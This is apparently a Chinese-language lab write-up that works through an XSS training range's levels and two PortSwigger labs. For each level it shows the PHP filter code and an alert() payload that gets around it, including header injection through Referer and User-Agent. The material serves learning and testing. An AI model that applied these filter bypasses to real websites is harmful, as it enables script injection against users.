第一道
审查url发现用户名被提交,在name后输入123重新提交。
查看html代码和php代码,未发现过滤。
直接修改name参数,注入payload。
<script>alert("xss")</script>
过关。
第二道
发现第二道题有搜索框,试着在搜索框里输入第一关的payload。
行不通,查看html和php代码。
在html代码中可以看出,<和>,"被实体化。
查看php代码可以发现添加了 htmlspecialchars() 函数;用于将<、>、"、'、&转化为html实体,应该是用此函数把keyword部分进行了实体化。
但是value部分没有被实体化,所以尝试闭合标签,因为是双引号闭合,
故有
"><script>alert("xss")</script>//
//用来把多余部分注释掉。
过关。
第三道
同样有搜索框,随便打点东西找一下在html代码里的位置,发现value处变成了单引号闭合
把上一关的参数中双引号闭合改为单引号闭合尝试一下。-------------过不了。
查看php代码发现value处也使用了
函数。标签闭合行不通。
因此要考虑js中的事件,先用单引号闭合再利用 Javascript伪协议执行JS代码
'onfocus=javascript:alert('xss')>
没有直接跳转,需要点击搜索框才能跳转
过关。
第四道
html中并无异样,尝试双引号闭合
"><script>alert("xss")</script>
发现行不通,查看php代码,
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
发现大于号、小于号、被使用字符替换删除了,
不能用大于、小于号,再次尝试双引号闭合事件
"onclick=javascript:alert("xss")//
再次点击搜索栏,过关。
第五道
查看html代码,使用双引号闭合,尝试常规双引号闭合
"><script>alert("xss")</script>//
行不通,打开发现script被替换为scr_ipt。查看后端代码
发现有
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
script和on事件都被过滤掉了,
还可以尝试写一个超文本链接实现,
"> <a href=javascript:alert('xss') > xss</a> //
点击链接,过关。
第六道
html看不出眉目,直接看php
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
嗯,过滤了很多。但是,他没过滤大写
试一下
"><SCRIPT>alert("xss")</script>//
成了,过关。
第七道
看代码好像没什么区别,试一下上一关的
这次被删除了,
$str =strtolower( $_GET["keyword"]);
强行把大写转换成小写了
那就要从过滤下手了,代码里的过滤并不是递归,所以相关字符只会过滤一次,外面再套一层就行了。
" oonnclick='alert(1)' //
过关。
第八道
看一眼代码,可行的操作都堵了。
现在考虑一下把payload转为html实体,
javascript='alert(1)'
javascript:alert(1)
点击链接,过关。
第九道
与上一道大同小异,多了"http://"检测
直接alert(‘http://’)就行
javascript:alert('xsshttp://')
过关
第十道
看后端代码
发现有一个隐藏的表单
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
尝试使用onclick弹窗,
&t_sort="type=text οnclick=alert(1)//
text让隐藏的输入框显示出来
点击输入框,过关。
第十一题
和第十题一样,没有注入点,审计php代码,先找出注入的变量,还是t_sort
尝试上一关的方法、
?t_sort="onclick:alert(1) type="text"//
行不通了
再次查看代码
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
真正的来源是在http头部。
使用burpsuite抓包
拦截的数据包里没有referer头部,可以手动添加
Referer:"type="text" onclick="alert(1)"//
放行,点击输入框,过关。
第十二题
审计php
$str11=$_SERVER['HTTP_USER_AGENT'];
<input name="t_ua" value="'.$str33.'" type="hidden">
t_ua的值是user_agent,操作同上,抓包修改user-agent
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 "type="text" onclick="alert(1)"//
payload同上一关。
点击输入框过关
第十三题
我的第十三关出错了,但通过审计PHP代码来看
$str11=$_COOKIE["user"];
<input name="t_cook" value="'.$str33.'" type="hidden">
应该是修改数据包中的cookie头部从而注入payload
第十四题
src="http://www.exifviewer.org/"
需要访问图片中的url,但是一直无响应
思路是上传一个图片,将图片的exif元数据改为xss的payload进行注入
portswigger靶场 xss学徒两题
第一题:Reflected XSS into HTML context with nothing encoded
打开发现有一个输入栏,审查html代码,搜索文本找到form相关,直接注入xss脚本
<script>alert("xss")</script>
弹出窗口,成功。
第二题:Stored XSS into HTML context with nothing encoded
涉及的xss类型是存储型。
打开任意一篇
发现有输入的评论区可以注入xss,查看源代码,
查找form,但其实textarea标签才是输入评论的地方。
回到网页,直接注入
<script>alert("xss")</script>
随便输入一个名字、邮箱
发布,弹出窗口,成功